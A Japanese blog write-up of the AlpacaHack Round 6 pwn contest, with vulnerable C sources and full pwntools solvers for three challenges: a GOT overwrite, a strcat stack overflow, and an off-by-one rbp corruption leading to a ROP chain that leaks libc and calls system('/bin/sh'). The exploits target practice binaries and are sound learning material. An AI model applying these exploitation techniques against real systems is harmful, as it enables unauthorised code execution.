AlpacaHack Round 6 (Pwn)へ参加しました。そのwrite-up記事です。
- コンテスト概要
- 結果
- 環境
- 解けた問題
- 感想
コンテスト概要
2024/11/03(日) 12:00 +09:00 - 11/03(日) 18:00 +09:00
の6時間開催でした。他ルールはコンテストページから引用します:
AlpacaHack Round 6 (Pwn) へようこそ! AlpacaHack は個人戦の CTF を継続して開催する新しいプラットフォームです。 AlpacaHack Round 6 は AlpacaHack で行われる 6 回目の CTF で、Pwn カテゴリから 4 問が出題されます。 幅広い難易度の問題が出題されるため、初心者を含め様々なレベルの方に楽しんでいただけるようになっています。 問題作成者は ptr-yudai です! 参加方法 1. 右上の「Sign Up」ボタンから AlpacaHack のユーザー登録をしてください。 2. 登録完了後、このページの「Register」ボタンを押して CTF の参加登録をしてください。 注意事項 - AlpacaHack は個人戦のCTFプラットフォームであるため、チームでの登録は禁止しています。 - 問題は運営が想定した難易度の順に並んでいます。 - 問題の配点は解いた人数に応じて変動します。 - フラグフォーマットは Alpaca{...} です。 - 全てのアナウンスは AlpacaHack の Discord サーバー で行われます。 - アナウンスは本サービス上でも行うことがありますが、Discord サーバーが主な連絡手段となります。 - 問題が発生した場合、#ticket チャンネルから連絡してください。ただし、問題のヒントは提供しません。 - 競技システム自体への攻撃は行わないでください。なお、偶然発見したバグの報告は歓迎します。
これまでのRound同様に問題は運営が想定した難易度の順に並んでいます
と明記されており、並び順で想定難易度が示されました。
結果
正の得点を得ている57人中、476点で19位でした:
また、Certificate箇所から順位の証明書も表示できます:
環境
WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.5011] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-24.04 Running 2 docker-desktop-data Running 2 kali-linux Stopped 2 docker-desktop Running 2 Ubuntu-22.04 Running 2 c:\>
他ソフト
- IDA Free Version 9.0.240925 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)
WSL2(Ubuntu 24.04)
$ cat /proc/version Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024 $ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04.1 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04.1 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo $ python3 --version Python 3.12.3 $ python3 -m pip show pip | grep Version: Version: 24.0 $ python3 -m pip show pwntools | grep Version: Version: 4.13.0 $ gdb --version GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. $ gdb --batch --eval-command 'version' | grep 'Pwndbg:' Pwndbg: 2024.02.14 build: 2b9beef $ pwninit --version pwninit 3.3.1 $ ROPgadget --version Version: ROPgadget v7.3 Author: Jonathan Salwan Author page: https://twitter.com/JonathanSalwan Project page: http://shell-storm.org/project/ROPgadget/ $ docker --version Docker version 27.2.0, build 3ab4256 $
解けた問題
[Pwn] inbound (57 solves, 128 points)
inside-of-bounds
配布ファイルとして、問題本体のinbound
と、元ソースのmain.c
などがありました:
$ file * Dockerfile: ASCII text compose.yml: ASCII text inbound: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9e9920e6eb161f0ee40de853d38ffad7488f06e7, for GNU/Linux 3.2.0, not stripped main.c: C source, ASCII text $ pwn checksec inbound [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/inbound/inbound' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No $
main.c
は次の内容でした:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int slot[10]; /* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); } int main() { int index, value; setbuf(stdin, NULL); setbuf(stdout, NULL); printf("index: "); scanf("%d", &index); if (index >= 10) { puts("[-] out-of-bounds"); exit(1); } printf("value: "); scanf("%d", &value); slot[index] = value; for (int i = 0; i < 10; i++) printf("slot[%d] = %d\n", i, slot[i]); exit(0); }
次のことが分かります:
- 21行目の
if (index >= 10)
分岐でプラス方向の配列外参照は防止していますが、マイナス方向の配列外参照は検証しないままslot[index] = value;
を実行しています。 pwn checksec
結果がRELRO: Partial RELRO
であるため、GOT Overwriteができます。
そうなると slot[index] = value
箇所でGOT Overwriteができると win
関数を実行できそうです。pwntoolsの pwn.ELF
を使って検証しました:
elf.symbols["slot"] = 0000000000404060 elf.symbols["win"] = 00000000004011d6 elf.got["printf"] = 0000000000404010 elf.got["exit"] = 0000000000404028
got領域は slot
グローバル変数よりも若いアドレスへ存在することが分かりました。今回はexit
関数のgot内容をwin
関数のアドレスへ変更することで、exit(0);
箇所で代わりにwin
関数へ実行させるようにしました。
index:
箇所への入力は、slot
がint
(=32-bit整数)型配列であるため、(exit@gotのアドレス - slotの先頭アドレス) / 4
で計算できます。value:
箇所へはwin
関数のアドレスを渡します。
最終的なソルバーです:
#!/usr/bin/env python3 import pwn elf = pwn.ELF("inbound") pwn.context.binary = elf # pwn.context.log_level = "DEBUG" print(f"{elf.symbols["slot"] = :016x}") print(f"{elf.symbols["win"] = :016x}") print(f"{elf.got["printf"] = :016x}") print(f"{elf.got["exit"] = :016x}") got_exit = elf.got["exit"] addr_win = elf.symbols["win"] addr_slot = elf.symbols["slot"] slot_index = (got_exit - addr_slot) // 4 print(f"{slot_index = }") def solve(io: pwn.tube): io.sendlineafter(b"index: ", str(slot_index).encode()) io.sendlineafter(b"value: ", str(addr_win).encode()) io.stream() # fmt: off COMMAND = """ b *0x40130B continue """ # with pwn.gdb.debug(elf.path, COMMAND) as io: solve(io) # with pwn.remote("localhost", 9999) as io: solve(io) # with pwn.process(elf.path) as io: solve(io) with pwn.remote("198.51.100.1", 9999) as io: solve(io)
実行しました:
$ ./solve.py [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/inbound/inbound' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No elf.symbols["slot"] = 0000000000404060 elf.symbols["win"] = 00000000004011d6 elf.got["printf"] = 0000000000404010 elf.got["exit"] = 0000000000404028 slot_index = -14 [+] Opening connection to 198.51.100.1 on port 9999: Done slot[0] = 0 slot[1] = 0 slot[2] = 0 slot[3] = 0 slot[4] = 0 slot[5] = 0 slot[6] = 0 slot[7] = 0 slot[8] = 0 slot[9] = 0 Alpaca{p4rt14L_RELRO_1s_A_h4pPy_m0m3Nt} [*] Closed connection to 198.51.100.1 port 9999
フラグを入手できました: Alpaca{p4rt14L_RELRO_1s_A_h4pPy_m0m3Nt}
[Pwn] catcpy (41 solves, 148 points)
strcat and strcpy are typical functions used in C textbooks.
配布ファイルとして、問題本体のcatcpy
と、元ソースのmain.c
などがありました:
$ file * Dockerfile: ASCII text catcpy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=33f04f4bd45554ad7f1e9136aabe4bfceb98e814, for GNU/Linux 3.2.0, not stripped compose.yml: ASCII text main.c: C source, ASCII text $ pwn checksec catcpy [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/catcpy/catcpy' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No $
main.c
は次の内容でした:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char g_buf[0x100]; /* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); } void get_data() { printf("Data: "); fgets(g_buf, sizeof(g_buf), stdin); } int main() { int choice; char buf[0x100]; memset(buf, 0, sizeof(buf)); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); puts("1. strcpy\n" "2. strcat"); while (1) { printf("> "); if (scanf("%d%*c", &choice) != 1) return 1; switch (choice) { case 1: get_data(); strcpy(buf, g_buf); break; case 2: get_data(); strcat(buf, g_buf); break; default: return 0; } } }
ローカル変数buf
を転送先として、strcpy
やstrcat
ができます。そのためStack Buffer Overflowの脆弱性が存在します。また、pwn checksec
結果がStack: No canary found
でありスタックカナリアは存在しないため、main
関数の戻りアドレスを問題なく改ざんできます。
ローカル変数のスタックレイアウトと関連する注意点
IDAでmain
関数でのローカル変数のレイアウトを調べると、次の内容でした(ローカル変数リネーム後):
-0000000000000110 // Use data definition commands to manipulate stack variables and arguments. -0000000000000110 // Frame size: 110; Saved regs: 8; Purge: 0 -0000000000000110 -0000000000000110 _BYTE buf[268]; -0000000000000004 _DWORD choise; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
次のことが分かります:
- Cソースコード上では
char buf[0x100]
定義ですが、スタック中ではもう12バイト多い268バイト分確保されています。 buf
から戻りアドレス(IDAでは__return_address
表記)の間にchoise
変数の領域が存在します。
choise
変数が間に存在することが厄介でした。ソルバーを書いている途中に悩みました:
- Stack Buffer Overflowを行おうとして「
__return_address
手前までstrcpy
やstrcat
を行い、その後に戻りアドレス分だけstrcat
」とするとうまくいきません。理由は、choise
選択のたびに{0x02, 0x00, 0x00, 0x00}
のバイト列でchoise
領域が上書きされるためです。その後にstrcat
をしようとすると、choise
の0x02
の直後から追記が始まります。 - そのため「
choise
領域と__return_address
領域を同時に書き換えるようにstrcat
」する必要があります。
もともとのmain
関数の戻りアドレスを完全に0埋め
main
関数はglibc中の関数から呼ばれるため、main
関数の戻りアドレスはglibcのアドレスになります:
pwndbg> p $rip $1 = (void (*)()) 0x4012e7 <main+8> pwndbg> retaddr 0x7fffffffe1a8 —▸ 0x7ffff7dc71ca (__libc_start_call_main+122) ◂— mov edi, eax 0x7fffffffe248 —▸ 0x7ffff7dc728b (__libc_start_main+139) ◂— mov r15, qword ptr [rip + 0x1d8cf6] 0x7fffffffe2a8 —▸ 0x401195 (_start+37) ◂— hlt pwndbg> k #0 0x00000000004012e7 in main () #1 0x00007ffff7dc71ca in __libc_start_call_main (main=main@entry=0x4012df <main>, argc=argc@entry=1, argv=argv@entry=0x7fffffffe2c8) at ../sysdeps/nptl/libc_start_call_main.h:58 #2 0x00007ffff7dc728b in __libc_start_main_impl (main=0x4012df <main>, argc=1, argv=0x7fffffffe2c8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2b8) at ../csu/libc-start.c:360 #3 0x0000000000401195 in _start () pwndbg>
上述の例だと、0x7ffff7dc71ca
という47bit分のアドレスです。
一方でwin
関数のアドレスは0x401256
と23-bit分のみです。スタック中バッファへのコピーで使っているstrcat
関数はNUL文字位置で書き込みを停止するため、単純にstrcat
でmain
関数の戻りアドレスをwin
関数へ改ざんしようとしても戻りアドレスの上位分が残ります。例えば0x7fff00401256
などになってしまいます。
その問題を解決するため、main
関数の戻りアドレスをMSBから1バイトずつ、0x00
であるNUL文字で上書きします。その後にwin
関数のアドレスへ書き換えれば、win
関数へ制御を移すことができます。
ソルバーと実行結果
最終的なソルバーです:
#!/usr/bin/env python3 import pwn elf = pwn.ELF("catcpy") pwn.context.binary = elf # pwn.context.log_level = "DEBUG" addr_win = elf.symbols["win"] print(f"{addr_win = :08x}") def solve(io: pwn.tube): def write(target_offset: int, target_data: bytes): written_bytes = 0 # 戻りアドレスの間にDWORDのカウンターがあってそこでNUL終端されるので、戻りアドレス改ざんはカウンター含む領域と同時に行う必要がある # 250バイトずつなら2回分割でいける UNIT = 250 io.sendlineafter(b"> ", b"1") io.sendlineafter(b"Data: ", b"A" * UNIT + b"\x00") # 改行文字を無視させる io.sendlineafter(b"> ", b"2") io.sendlineafter( b"Data: ", b"A" * (target_offset - UNIT) + target_data + b"\x00" ) # to ignore newline # mainの戻りアドレスがlibcへのreturnで8バイト分あるので、一旦0埋めする offset_return_address = 268 + 4 + 8 for i in range(7, -1, -1): write(offset_return_address + i, b"B") # 改めて戻りアドレスをwinへ改ざん write(offset_return_address, pwn.pack(addr_win).strip(b"\x00")) io.sendlineafter(b"> ", b"3") # to break loop io.stream() # fmt: off COMMAND = """ b *0x4013F3 # ↓after strcat # b *0x4013DF continue """ # with pwn.gdb.debug(elf.path, COMMAND) as io: solve(io) # with pwn.remote("localhost", 9999) as io: solve(io) # with pwn.process(elf.path) as io: solve(io) with pwn.remote("198.51.100.1", 9999) as io: solve(io)
実行しました:
$ ./solve.py [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/catcpy/catcpy' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No addr_win = 00401256 [+] Opening connection to 198.51.100.1 on port 9999: Done Alpaca{4_b4sic_func_but_n0t_4_b4s1c_3xp101t} [*] Closed connection to 198.51.100.1 port 9999 $
フラグを入手できました: Alpaca{4_b4sic_func_but_n0t_4_b4s1c_3xp101t}
[Pwn] wall (21 solves, 200 points)
You've got a message.
配布ファイルとして、問題本体のwall
と、元ソースのmain.c
などがありました:
$ file * Dockerfile: ASCII text compose.yml: ASCII text libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=490fef8403240c91833978d494d39e537409b92e, for GNU/Linux 3.2.0, stripped main.c: C source, ASCII text wall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa694c825dafc652f2735f6c1327fe29383881f4, for GNU/Linux 3.2.0, not stripped $ pwn checksec wall [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/wall/wall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No $
main.c
は次の内容でした:
#include <stdio.h> #include <stdlib.h> char message[4096]; void get_name(void) { char name[128]; printf("What is your name? "); scanf("%128[^\n]%*c", name); printf("Message from %s: \"%s\"\n", name, message); } int main(int argc, char **argv) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("Message: "); scanf("%4096[^\n]%*c", message); get_name(); return 0; }
scanf("%128[^\n]%*c", name);
で使用しているmaximum field width
の挙動は「\n
以外の文字を最大128文字読み込み、その後にNULL文字を書き込み」です。そのためname
変数から1バイト超過した位置へ0x00
が書き込まれる、off-by-oneエラーが存在します。
なお、message
側でも同様にoff-by-oneエラーが存在します。ただmessage
側の悪用方法が思いつかなかったため、以降はname
側のみoff-by-oneエラーのみに言及します。
pwninitを使ってローカルデバッグ用バイナリを生成
本問題の解法は、後で紹介するように、使用するglibcのバージョンへ依存します。もしもサーバー側で使用されるバージョンとローカルデバッグに使用するバージョンが異なっていると、非常に大変です。場合によってはローカルでは解けない可能性もあります。そのためpwninitを使って、サーバー側と同一のバージョンのglibcを使用するwall_patched
バイナリを生成しました。
本問題は配布ファイルにlibs.so.6
が含まれています。そのため、引数なしでpwninit
を実行するだけで、うまくやってくれます:
$ pwninit bin: ./wall libc: ./libc.so.6 fetching linker https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.35-0ubuntu3.8_amd64.deb unstripping libc https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.8_amd64.deb copying ./wall to ./wall_patched running patchelf on ./wall_patched writing solve.py stub $ ldd wall_patched linux-vdso.so.1 (0x00007ffcb77fe000) libc.so.6 => ./libc.so.6 (0x00007f5921229000) ./ld-2.35.so => /lib64/ld-linux-x86-64.so.2 (0x00007f5921454000) $
生成したwall_patched
が、pwntoolsのpwn.gdb.debug
を使ったデバッグ実行で大活躍しました。
off-by-oneエラーによるrbpレジスタ最下位バイトの書き換えとその影響
IDAでget_name
関数のローカル変数のレイアウトを調べると、次の内容でした:
-0000000000000080 // Use data definition commands to manipulate stack variables and arguments. -0000000000000080 // Frame size: 80; Saved regs: 8; Purge: 0 -0000000000000080 -0000000000000080 _BYTE name[128]; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
name
変数直後に、保存されたrbp
レジスタの値が存在します。off-by-oneエラーによって、get_name
関数終了後のrbp
レジスタの最下位バイトが0x00
へ変化します。
ここで「以前、rbpの一部書き換えを利用する問題があったはず」と調べるとWaniCTF 2021のTarinai?問題でした。rbp
レジスタ書き換えやleave
命令による影響が分かりやすく説明されています。今回の問題の場合は、get_name
関数でrbp
レジスタの最下位バイトが0x00
へ書き換えられて、呼び出し元のmain
関数のleave; ret
時の戻りアドレスへ影響します。
rbp
レジスタ最下位バイトが0x00
になると、main
関数の戻りアドレスへどのように影響するのか調べました:
- GDBで
wall_patched
バイナリをデバッグ実行 0x4011db
(=main
関数のmov rbp, rsp
箇所)と、0x401262
(=main
関数のret
箇所)へブレークポイントを設定して実行開始0x4011db
でブレークしたら、その時点でのrsp
レジスタ値の下位1バイトをメモして、実行続行get_name
関数で、128バイトの文字列b"BBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKKLLLLLLLLMMMMMMMMNNNNNNNNOOOOOOOOPPPPPPPPQQQQQQQQ"
を入力0x401262
でブレークしたら、main
関数の戻り先を確認
ここで、x86 psABIs / x86-64 psABI · GitLabからダウンロードできるSystem V Application Binary Interface
資料の3.2.2 The Stack Frame
にIn other words, the stack needs to be 16 (32 or 64) byte aligned immediately before the call instruction is executed.
とあるため、0x4011db
時点でのrsp
レジスタ最下位1バイトの候補は16バイト単位の16通りです。確認結果は次のようになりました:
0x4011DB 時点でのrsp レジスタ下位1バイト |
main 関数の戻り先アドレス |
---|---|
0x00 |
(変化なし、正常終了) |
0x10 |
0x0100401090 、SIGSEGV |
0x20 |
0x40125c <main+134> mov eax, 0 、無限return(rbp の値も変わらず?) |
0x30 |
&name[120] 、ROP可能 |
0x40 |
&name[104] 、ROP可能 |
0x50 |
&name[88] 、ROP可能 |
0x60 |
&name[72] 、ROP可能 |
0x70 |
&name[56] 、ROP可能 |
0x80 |
&name[40] 、ROP可能 |
0x90 |
&name[24] 、ROP可能 |
0xa0 |
&name[8] 、ROP可能 |
0xb0 |
0x4011d3 <get_name+93> nop 、直後のleave でSIGSEGV |
0xc0 |
0x7f5bf79cb887 <write+23> cmp rax, -0x1000 、その後SIGSEGV |
0xd0 |
0x404080(=&message[0]) 、ただし.bss セクションは実行可能権限がないためSIGSEGV |
0xe0 |
0x5f48bc8d32d3300 、SIGSEGV |
0xf0 |
0x7fff118b19e0 or byte ptr [rbx], bl 、SIGSEGV |
今回は最終的に、0x4011DB
時点でのrsp
レジスタ下位1バイトが0x70
である場合に成功するソルバーを書きました。すなわちソルバーの成功率はです。もしかしたらうまくやれば、もっと成功率を上げられるかもしれません。
1度目のペイロードでのglibcのイメージベース取得とreturn to main
pwninit
実行時の出力でちらっと見えていますが、本問題で使われているglibcはバージョン2.35です。__libc_csu_init
等がglibc 2.34で削除済みであるため、問題バイナリ単独で使えるROP gadgetは少ないです(詳細: glibc code reading ~なぜ俺達のglibcは後方互換を捨てたのか~ - HackMD)。そのためシェルを取得するためにglibcのイメージベースを取得して、glibc中の豊富なROP gadgetを活用したいところです。
main
関数からreturnするときのレジスタ内容を確認すると、rdi
レジスタの内容が0x7fcde268e050 (funlockfile)
でした。そのため、ROPでprintf@plt
を実行させればfunlockfile
関数のアドレスが取得でき、そこからglibcのイメージベースを計算できます。printf@plt
の後はreturn to mainすることで、改めてROPできるようにします。
ROP gadgetの検索にはROPgadgetを使いました。
実際にペイロードを組んでいるときは、2度目でもROPできるようにRSPを調整しまくっていました。
2度目のペイロードでのシェル取得
1度目のペイロードで、glibcのイメージベースを取得しつつRSPを調整できていたら、system("bin/sh")
を実行することでシェルを取得する、2度目のペイロードを組みます。
(2度目のペイロードを組んだ後に1度目ペイロードでのRSP調整をひたすらいじっていたので、2度目の方の記憶があまりないです……)
ソルバーと実行結果
最終的なソルバーです。前述の通り、main
関数中でのrsp
レジスタの最下位1バイトが0x70
の場合にのみ成功します:
#!/usr/bin/env python3 import pwn elf = pwn.ELF("wall_patched") libc = pwn.ELF("libc.so.6") pwn.context.binary = elf # pwn.context.log_level = "DEBUG" def solve(io: pwn.tube): plt_printf = elf.plt["printf"] addr_main_after_push_rbp = 0x4011DB # mainの「push rbp」の次 # ROPgadget --binary wall > ropgadget_wall.txt rop_ret = 0x40101A # 0x000000000040101a : ret def leak_libc_image_base() -> int: # めちゃくちゃ頑張ってこの辺を調整しまくったら、いつの間にか2回目も成功していた…… payload_name = pwn.flat( [ b"AAAAAAAA", b"AAAAAAAA", b"AAAAAAAA", b"AAAAAAAA", b"AAAAAAAA", b"AAAAAAAA", b"AAAAAAAA", [ rop_ret, # SIMD命令用のRSPあわせ plt_printf, rop_ret, # 2回目のROP用のRSP(=RBP)調整 rop_ret, # 2回目のROP用のRSP(=RBP)調整 rop_ret, # 2回目のROP用のRSP(=RBP)調整 rop_ret, # 2回目のROP用のRSP(=RBP)調整 rop_ret, # 2回目のROP用のRSP(=RBP)調整 rop_ret, # 2回目のROP用のRSP(=RBP)調整 addr_main_after_push_rbp, # 2回目のROP用のRSP(=RBP)調整 ], ] ) assert len(payload_name) == 128 io.sendlineafter(b"Message: ", b"\x00") io.sendlineafter( b"What is your name? ", payload_name, ) io.recvline_startswith(b"Message from ") # discard addr_funlockfile = pwn.unpack(io.recvn(6).ljust(8, b"\x00")) offset_funlockfile = libc.symbols["funlockfile"] return addr_funlockfile - offset_funlockfile libc.address = leak_libc_image_base() print(f"{libc.address = :08x}") # ROPgadget --binary libc.so.6 > ropgadget_libc.txt rop_pop_rdi = libc.address + 0x2A3E5 # 0x000000000002a3e5 : pop rdi ; ret addr_bin_sh = next(libc.search(b"/bin/sh\x00")) addr_system = libc.symbols["system"] print(f"{rop_pop_rdi = : 08x}") print(f"{addr_bin_sh = : 08x}") print(f"{addr_system = : 08x}") payload_name = pwn.flat( b"DEADBEEF", b"DEADBEEF", b"DEADBEEF", [ rop_pop_rdi, addr_bin_sh, rop_ret, addr_system, ] * 3, b"DEADBEEF", ) assert b"\n" not in payload_name assert len(payload_name) == 128 io.sendlineafter(b"Message: ", b"\x00") io.sendlineafter( b"What is your name? ", payload_name, ) io.recvline_startswith(b"Message from ") # discard io.interactive() # fmt: off COMMAND = """ set follow-fork-mode parent # ↓ main冒頭、「b main」では「mov rbp, rsp」後に止まるのでRBPを調整しづらい。 b *0x4011db continue # ↓rsp調整。1/16待ちはしんどい。 # libc leak成功: 0x50, 0x70 # libc leak失敗: 0x90 set $rsp = ($rsp & 0xFFFFFFFFFFFFFF00) | 0x70 # ↓mainのret b *0x401262 # ↓call get_name # b *0x401257 # ↓scanf # b *0x401252 # b *0x4011ac continue """ # with pwn.gdb.debug(elf.path, COMMAND) as io: solve(io) # with pwn.remote("localhost", 9999) as io: solve(io) # with pwn.process(elf.path) as io: solve(io) with pwn.remote("198.51.100.1", 9999) as io: solve(io)
実行して成功した場合です:
$ ./solve.py [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/wall/wall_patched' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'.' SHSTK: Enabled IBT: Enabled Stripped: No [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/wall/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [+] Opening connection to 198.51.100.1 on port 9999: Done libc.address = 7fa5fdc8f000 rop_pop_rdi = 7fa5fdcb93e5 addr_bin_sh = 7fa5fde67678 addr_system = 7fa5fdcdfd70 [*] Switching to interactive mode $ ls bin boot dev etc flag-6d5a5cb38e69f72e74235bf99e6f1e9b.txt home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var $ cat flag-* Alpaca{p1v0T1ng_t0_Bss_i5_tR1cKy_du3_7o_st4Ck_s1Z3_Lim17} $
フラグを入手できました: Alpaca{p1v0T1ng_t0_Bss_i5_tR1cKy_du3_7o_st4Ck_s1Z3_Lim17}
実行失敗時は、通信先プロセスが異常終了してEOFError
になったり、無限ループして何も応答が帰らなかったり、main
へ再帰して次の応答が得られたりします:
libc.address = 6761736d44fd rop_pop_rdi = 6761736fe8e2 addr_bin_sh = 6761738acb75 addr_system = 67617372526d
なお、フラグ内容を見るに、想定解法は.bss
セクションへのstack pivotingのようです。実はソルバーを書いている途中に、message
変数領域へのstack pivotも試していました。しかしprintf
関数呼び出し時にスタックを4096バイト以上使うらしく、message
領域よりも若い.rodata
セグメントへ書き込もうとしてSIGSEGVが出たので諦めました。stack pivotで解く方法も気になります!
感想
- AlpacaHackで初めての、4問中3問正解です!達成感があります!
- pwn分野での、1/16の確率を引く必要があるソルバーを初めて書きました。ローカルデバッグ時はgdbコマンドで設定できますが、リモート相手に何度も実行しているときの「本当にうまくいくんだろうか」という不安は独特のものです!